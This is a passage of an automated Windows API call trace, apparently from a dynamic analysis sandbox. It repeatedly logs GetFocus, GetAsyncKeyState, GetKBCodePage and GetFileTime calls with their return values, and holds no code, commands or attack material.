lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.123] GetFocus () returned 0x0 [0026.123] GetAsyncKeyState (vKey=58) returned 0 [0026.123] GetKBCodePage () returned 0x1b5 [0026.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.123] GetFocus () returned 0x0 [0026.123] GetAsyncKeyState (vKey=58) returned 0 [0026.123] GetKBCodePage () returned 0x1b5 [0026.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.123] GetFocus () returned 0x0 [0026.123] GetAsyncKeyState (vKey=58) returned 0 [0026.123] GetKBCodePage () returned 0x1b5 [0026.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.123] GetFocus () returned 0x0 [0026.123] GetAsyncKeyState (vKey=58) returned 0 [0026.123] GetKBCodePage () returned 0x1b5 [0026.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.123] GetFocus () returned 0x0 [0026.123] GetAsyncKeyState (vKey=58) returned 0 [0026.123] GetKBCodePage () returned 0x1b5 [0026.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.123] GetFocus () returned 0x0 [0026.123] GetAsyncKeyState (vKey=58) returned 0 [0026.123] GetKBCodePage () returned 0x1b5 [0026.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.123] GetFocus () returned 0x0 [0026.123] GetAsyncKeyState (vKey=58) returned 0 [0026.123] GetKBCodePage () returned 0x1b5 [0026.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.123] GetFocus () returned 0x0 [0026.123] GetAsyncKeyState (vKey=58) returned 0 [0026.123] GetKBCodePage () returned 0x1b5 [0026.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.124] GetFocus () returned 0x0 [0026.124] GetAsyncKeyState (vKey=58) returned 0 [0026.124] GetKBCodePage () returned 0x1b5 [0026.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.124] GetFocus () returned 0x0 [0026.124] GetAsyncKeyState (vKey=58) returned 0 [0026.124] GetKBCodePage () returned 0x1b5 [0026.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.124] GetFocus () returned 0x0 [0026.124] GetAsyncKeyState (vKey=58) returned 0 [0026.124] GetKBCodePage () returned 0x1b5 [0026.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.124] GetFocus () returned 0x0 [0026.124] GetAsyncKeyState (vKey=58) returned 0 [0026.124] GetKBCodePage () returned 0x1b5 [0026.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.124] GetFocus () returned 0x0 [0026.124] GetAsyncKeyState (vKey=58) returned 0 [0026.124] GetKBCodePage () returned 0x1b5 [0026.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.124] GetFocus () returned 0x0 [0026.124] GetAsyncKeyState (vKey=58) returned 0 [0026.124] GetKBCodePage () returned 0x1b5 [0026.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.124] GetFocus () returned 0x0 [0026.124] GetAsyncKeyState (vKey=58) returned 0 [0026.124] GetKBCodePage () returned 0x1b5 [0026.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.124] GetFocus () returned 0x0 [0026.124] GetAsyncKeyState (vKey=58) returned 0 [0026.124] GetKBCodePage () returned 0x1b5 [0026.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.124] GetFocus () returned 0x0 [0026.124] GetAsyncKeyState (vKey=58) returned 0 [0026.124] GetKBCodePage () returned 0x1b5 [0026.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.125] GetFocus () returned 0x0 [0026.125] GetAsyncKeyState (vKey=58) returned 0 [0026.125] GetKBCodePage () returned 0x1b5 [0026.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.125] GetFocus () returned 0x0 [0026.125] GetAsyncKeyState (vKey=58) returned 0 [0026.125] GetKBCodePage () returned 0x1b5 [0026.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.125] GetFocus () returned 0x0 [0026.125] GetAsyncKeyState (vKey=58) returned 0 [0026.125] GetKBCodePage () returned 0x1b5 [0026.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.125] GetFocus () returned 0x0 [0026.125] GetAsyncKeyState (vKey=58) returned 0 [0026.125] GetKBCodePage () returned 0x1b5 [0026.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.125] GetFocus () returned 0x0 [0026.125] GetAsyncKeyState (vKey=58) returned 0 [0026.125] GetKBCodePage () returned 0x1b5 [0026.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.125] GetFocus () returned 0x0 [0026.125] GetAsyncKeyState (vKey=58) returned 0 [0026.125] GetKBCodePage () returned 0x1b5 [0026.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.125] GetFocus () returned 0x0 [0026.125] GetAsyncKeyState (vKey=58) returned 0 [0026.125] GetKBCodePage () returned 0x1b5 [0026.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.125] GetFocus () returned 0x0 [0026.125] GetAsyncKeyState (vKey=58) returned 0 [0026.125] GetKBCodePage () returned 0x1b5 [0026.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.125] GetFocus () returned 0x0 [0026.125] GetAsyncKeyState (vKey=58) returned 0 [0026.126] GetKBCodePage () returned 0x1b5 [0026.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.126] GetFocus () returned 0x0 [0026.126] GetAsyncKeyState (vKey=58) returned 0 [0026.126] GetKBCodePage () returned 0x1b5 [0026.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.126] GetFocus () returned 0x0 [0026.126] GetAsyncKeyState (vKey=58) returned 0 [0026.126] GetKBCodePage () returned 0x1b5 [0026.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.126] GetFocus () returned 0x0 [0026.126] GetAsyncKeyState (vKey=58) returned 0 [0026.126] GetKBCodePage () returned 0x1b5 [0026.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.126] GetFocus () returned 0x0 [0026.126] GetAsyncKeyState (vKey=58) returned 0 [0026.126] GetKBCodePage () returned 0x1b5 [0026.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.126] GetFocus () returned 0x0 [0026.126] GetAsyncKeyState (vKey=58) returned 0 [0026.126] GetKBCodePage () returned 0x1b5 [0026.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.126] GetFocus () returned 0x0 [0026.126] GetAsyncKeyState (vKey=58) returned 0 [0026.126] GetKBCodePage () returned 0x1b5 [0026.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.126] GetFocus () returned 0x0 [0026.126] GetAsyncKeyState (vKey=58) returned 0 [0026.126] GetKBCodePage () returned 0x1b5 [0026.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.126] GetFocus () returned 0x0 [0026.126] GetAsyncKeyState (vKey=58) returned 0 [0026.126] GetKBCodePage () returned 0x1b5 [0026.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.126] GetFocus () returned 0x0 [0026.127] GetAsyncKeyState (vKey=58) returned 0 [0026.127] GetKBCodePage () returned 0x1b5 [0026.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.127] GetFocus () returned 0x0 [0026.127] GetAsyncKeyState (vKey=58) returned 0 [0026.127] GetKBCodePage () returned 0x1b5 [0026.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.127] GetFocus () returned 0x0 [0026.127] GetAsyncKeyState (vKey=58) returned 0 [0026.127] GetKBCodePage () returned 0x1b5 [0026.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.127] GetFocus () returned 0x0 [0026.127] GetAsyncKeyState (vKey=58) returned 0 [0026.127] GetKBCodePage () returned 0x1b5 [0026.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.127] GetFocus () returned 0x0 [0026.127] GetAsyncKeyState (vKey=58) returned 0 [0026.127] GetKBCodePage () returned 0x1b5 [0026.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.127] GetFocus () returned 0x0 [0026.127] GetAsyncKeyState (vKey=58) returned 0 [0026.127] GetKBCodePage () returned 0x1b5 [0026.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.127] GetFocus () returned 0x0 [0026.127] GetAsyncKeyState (vKey=58) returned 0 [0026.127] GetKBCodePage () returned 0x1b5 [0026.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.127] GetFocus () returned 0x0 [0026.127] GetAsyncKeyState (vKey=58) returned 0 [0026.127] GetKBCodePage () returned 0x1b5 [0026.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.127] GetFocus () returned 0x0 [0026.127] GetAsyncKeyState (vKey=58) returned 0 [0026.128] GetKBCodePage () returned 0x1b5 [0026.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.128] GetFocus () returned 0x0 [0026.128] GetAsyncKeyState (vKey=58) returned 0 [0026.128] GetKBCodePage () returned 0x1b5 [0026.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.128] GetFocus () returned 0x0 [0026.128] GetAsyncKeyState (vKey=58) returned 0 [0026.128] GetKBCodePage () returned 0x1b5 [0026.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.128] GetFocus () returned 0x0 [0026.128] GetAsyncKeyState (vKey=58) returned 0 [0026.128] GetKBCodePage () returned 0x1b5 [0026.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.128] GetFocus () returned 0x0 [0026.128] GetAsyncKeyState (vKey=58) returned 0 [0026.128] GetKBCodePage () returned 0x1b5 [0026.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.128] GetFocus () returned 0x0 [0026.128] GetAsyncKeyState (vKey=58) returned 0 [0026.128] GetKBCodePage () returned 0x1b5 [0026.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.128] GetFocus () returned 0x0 [0026.128] GetAsyncKeyState (vKey=58) returned 0 [0026.128] GetKBCodePage () returned 0x1b5 [0026.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.128] GetFocus () returned 0x0 [0026.128] GetAsyncKeyState (vKey=58) returned 0 [0026.128] GetKBCodePage () returned 0x1b5 [0026.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.129] GetFocus () returned 0x0 [0026.129] GetAsyncKeyState (vKey=58) returned 0 [0026.129] GetKBCodePage () returned 0x1b5 [0026.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.129] GetFocus () returned 0x0 [0026.129] GetAsyncKeyState (vKey=58) returned 0 [0026.129] GetKBCodePage () returned 0x1b5 [0026.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, 